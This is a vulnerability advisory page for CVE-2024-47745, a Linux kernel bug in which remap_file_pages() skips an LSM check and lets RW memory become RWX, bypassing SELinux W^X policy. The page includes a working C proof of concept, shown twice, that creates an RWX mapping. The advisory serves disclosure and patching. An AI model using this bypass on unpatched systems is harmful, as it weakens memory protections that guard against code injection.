ghsa-qpxg-4f92-ww23
Vulnerability from github
Published
2024-10-21 15:32
Modified
2024-12-14 21:31
Details

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Show details on source website


{
  "affected": [],
  "aliases": [
    "CVE-2024-47745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-21T13:15:04Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn\u0027t contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat \u003e test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret \u003c= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]",
  "id": "GHSA-qpxg-4f92-ww23",
  "modified": "2024-12-14T21:31:32Z",
  "published": "2024-10-21T15:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47745"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.